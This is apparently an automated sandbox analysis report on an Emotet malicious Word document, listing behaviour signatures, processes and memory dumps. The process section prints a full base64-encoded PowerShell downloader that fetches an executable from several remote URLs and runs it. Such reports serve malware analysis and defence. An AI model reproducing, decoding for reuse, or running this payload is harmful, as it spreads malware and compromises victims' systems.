Analysis
- max time kernel
139s - max time network
139s - platform
windows10_x64 - resource
win10v200722 - submitted
16/10/2020, 07:51
General
- Target emotet_e1_40f707ff0b92ba2a43159eb0f53765ee692d9f002ca512d1eefd9cf7ec8df2e9_2020-10-16__074915006170._doc.doc
- Size 211KB
- Sample201016-jsvb96ssq6
- SHA256 40f707ff0b92ba2a43159eb0f53765ee692d9f002ca512d1eefd9cf7ec8df2e9
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_40f707ff0b92ba2a43159eb0f53765ee692d9f002ca512d1eefd9cf7ec8df2e9_2020-10-16__074915006170._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABWAHMAdwBwAGUAYQB6AD0AKAAoACcAUAB2AGcAJwArACcAZQB6ACcAKQArACcAZABwACcAKQA7ACQAUAA5AGQANAAxADIAcAA9ACQAWgB6AGwAZwBrAHEAZAAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQAQQBvAG0AaAAyAHgAeAA7ACQARQAyADAAaABlAGEAMwA9ACgAJwBaAG0AJwArACcAXwAzACcAKwAoACcAMwAnACsAJwAzAGkAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AaQBvAC4AZABpAHIAZQBjAHQAbwByAHkAXQA6ADoAIgBDAGAAUgBlAGEAdABFAGQASQBgAFIARQBjAFQATwBgAFIAWQAiACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAKAAnAHkAQQAnACsAJwBEAEoAJwApACsAJwB5ACcAKwAoACcAcAB3ACcAKwAnAG0AJwArACcAMAA4AHkAQQAnACkAKwAoACcARAAnACsAJwBPAHUAOAAnACkAKwAoACcAaAAnACsAJwB3AHcAJwApACsAKAAnADIAeQAnACsAJwBBACcAKQArACcARAAnACkALgAiAFIARQBQAEwAQQBgAEMAZQAiACgAKAAnAHkAJwArACcAQQBEACcAKQAsAFsAUwBUAFIASQBuAGcAXQBbAEMAaABBAFIAXQA5ADIAKQApACkAOwAkAEQAZQBpADgAbAB2AGQAPQAoACgAJwBLACcAKwAnADgAbwAnACkAKwAoACcAMgB6AHIAJwArACcAbQAnACkAKQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBDAHUAcgBpAHQAeQBQAFIATwBUAG8AYABDAGAAbwBMACIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6ACIAdABsAHMAYAAxADIAIgA7ACQAWQBoADkAMABlAGgAeQA9ACgAKAAnAFgAOQBoACcAKwAnADkAJwApACsAJwByAG0AJwArACcAOQAnACkAOwAkAFIAOABsADcAMwB4ADYAIAA9ACAAKAAnAEUAJwArACcANwAnACsAKAAnAGQAdwAnACsAJwBwADEAJwApACkAOwAkAFAAeQB3ADQAaAB3AGIAPQAoACcATgAnACsAKAAnAF8AJwArACcAYQA0AHUAJwApACsAJwA2AGsAJwApADsAJABYAHIAagBfAG4AbwBmAD0AKAAnAEMAMAAnACsAKAAnAGYAdgA0ACcAKwAnAG8AJwApACsAJwAxACcAKQA7ACQATgBwAHYAegA1AHoAYwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBKAHkAcAB3AG0AJwArACcAMAA4AHsAMAB9AE8AdQA4ACcAKwAoACcAaAB3ACcAKwAnAHcAJwApACsAJwAyACcAKwAnAHsAMAAnACsAJwB9ACcAKQAgACAALQBmACAAIABbAEMASABhAFIAXQA5ADIAKQArACQAUgA4AGwANwAzAHgANgArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQARwB0AG0AawB0AHAAcQA9ACgAKAAnAFgAagAnACsAJwB6ADAAJwApACsAJwByAHQAJwArACcAbwAnACkAOwAkAFMAcAB5AHAAdwBnAGsAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBMAGkARQBuAHQAOwAkAEIANwAwAGoAbQBwADcAPQAoACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAJwArACcAdwAuAHQAaQAnACkAKwAnAGsAdAAnACsAKAAnAG8AawB2AGEAcAAnACsAJwBlAHMAJwArACcALgAnACkAKwAoACcAYwBvAG0AJwArACcALwB3ACcAKQArACgAJwBwAC0AYQAnACsAJwBkAG0AaQAnACsAJwBuAC8AJwApACsAJwB4ACcAKwAnAEwALwAnACsAJwAqACcAKwAoACcAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8ALwB3ACcAKQArACcAdwB3ACcAKwAoACcALgBiACcAKwAnAGwAJwApACsAJwBhAGMAJwArACgAJwBrAHMAJwArACcAdAAnACkAKwAoACcAbwAnACsAJwBuAGUAdAAnACkAKwAoACcAdQB0AG8AJwArACcAcgBzACcAKQArACcALQBvACcAKwAoACcAbgAnACsAJwBsAGkAJwApACsAKAAnAG4AJwArACcAZQBwAG8AJwArACcAcgB0AGEAbAAnACsAJwAuACcAKQArACcAYwBvACcAKwAoACcAbQAnACsAJwAvAHcAcAAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsACcAKQArACgAJwB1ACcAKwAnAGQAZQBzAC8AJwApACsAKAAnAGYAbQAnACsAJwAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0AHAAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACcAYgBhACcAKwAnAGMAJwArACgAJwBoAGgAJwArACcAbwAnACkAKwAoACcAYQAnACsAJwBuAGgAJwApACsAJwBhACcAKwAnAGwAZQAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0AJwArACcALwB3AG8AcgAnACkAKwAoACcAZABwACcAKwAnAHIAJwApACsAKAAnAGUAcwBzAC8ASQAnACsAJwAvACcAKwAnACoAJwApACsAJwBoAHQAJwArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACcALwAnACsAJwBpACcAKwAoACcAbgB2AGEAJwArACcAbAB1ACcAKwAnAGEAYgBsAGUAJwApACsAJwBhAHIAJwArACcAdABzACcAKwAoACcALgBjAG8AJwArACcAbQAvADYAcwAnACkAKwAoACcAbgAxAGYAJwArACcALwAnACkAKwAoACcAdAAnACsAJwAvACoAJwApACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAOgAvAC8AJwArACcAdwAnACsAJwB3AHcAJwArACcALgBtAHkAYwBvAGwAJwApACsAJwBsAGUAJwArACgAJwBnACcAKwAnAGUAJwArACcAYwBwAC4AYwBvACcAKQArACcAbQAnACsAJwAvAGMAJwArACcAbwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvAGsAJwApACsAKAAnAFIAJwArACcATAAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwB0AGEAdAAnACkAKwAnAGkAJwArACcAbABiACcAKwAoACcAdQAnACsAJwByAGQAdQAnACkAKwAnAHIAJwArACcALgBjACcAKwAoACcAbwAnACsAJwBtAC8AcwBjACcAKwAnAHUAdAAnACkAKwAoACcAdQAnACsAJwBtAC8ASwBWACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzACcAKQArACgAJwA6AC8ALwAnACsAJwB3AHcAdwAnACsAJwAuACcAKQArACcAcAAnACsAJwBnACcAKwAoACcAaQBzACcAKwAnAG8ALgBjACcAKQArACcAbwBtACcAKwAoACcALwB3AHAAJwArACcALQBhAGQAJwApACsAJwBtAGkAJwArACcAbgAnACsAJwAvACcAKwAnAG0AQwAnACsAJwBRACcAKwAnAC8AJwApAC4AIgBTAFAAbABgAGkAdAAiACgAJABYAHUAZwBmAGcAMgBsACAAKwAgACQAUAA5AGQANAAxADIAcAAgACsAIAAkAE4AegB6AGkAcgBxADgAKQA7ACQASABxAHUAYQBzAF8ANAA9ACgAJwBBACcAKwAoACcANwBkACcAKwAnAGQAegAnACkAKwAnAGcAcQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFMAcgA1ADMAYgA0ADcAIABpAG4AIAAkAEIANwAwAGoAbQBwADcAKQB7AHQAcgB5AHsAJABTAHAAeQBwAHcAZwBrAC4AIgBkAE8AYAB3AGAATgBsAE8AQQBgAGQAZgBpAGwAZQAiACgAJABTAHIANQAzAGIANAA3ACwAIAAkAE4AcAB2AHoANQB6AGMAKQA7ACQAUAAyAHoAagBpAHYAbwA9ACgAKAAnAEYAZgAnACsAJwAzACcAKQArACgAJwA1ACcAKwAnADEAaQA4ACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAE4AcAB2AHoANQB6AGMAKQAuACIAbABFAG4AYABHAFQASAAiACAALQBnAGUAIAAyADkAOQA4ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3ACcAKwAnAGkAbgAnACsAJwAzACcAKwAoACcAMgBfAFAAJwArACcAcgBvAGMAZQAnACsAJwBzAHMAJwApACkAKQAuACIAYwBgAFIAZQBhAFQAZQAiACgAJABOAHAAdgB6ADUAegBjACkAOwAkAE8AegBhADAAbgA4ADgAPQAoACgAJwBSAGYAJwArACcAawB4ACcAKQArACcAaQAnACsAJwB0AG0AJwApADsAYgByAGUAYQBrADsAJABEAHkAMQAyAHgAOAB6AD0AKAAoACcAQgAnACsAJwA1AG4AJwApACsAKAAnAGgAJwArACcAXwAzACcAKQArACcANAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAMgBlAHMAcAB2AGgAPQAoACgAJwBVACcAKwAnAHMAdQAnACkAKwAnAHAAJwArACgAJwBkACcAKwAnADcAXwAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1468-0-0x00007FF84D660000-0x00007FF84DD26000-memory.dmp
memory/2776-7-0x00007FF846090000-0x00007FF846A7C000-memory.dmp
memory/2776-8-0x000002087E030000-0x000002087E031000-memory.dmp
memory/2776-9-0x000002087E320000-0x000002087E321000-memory.dmp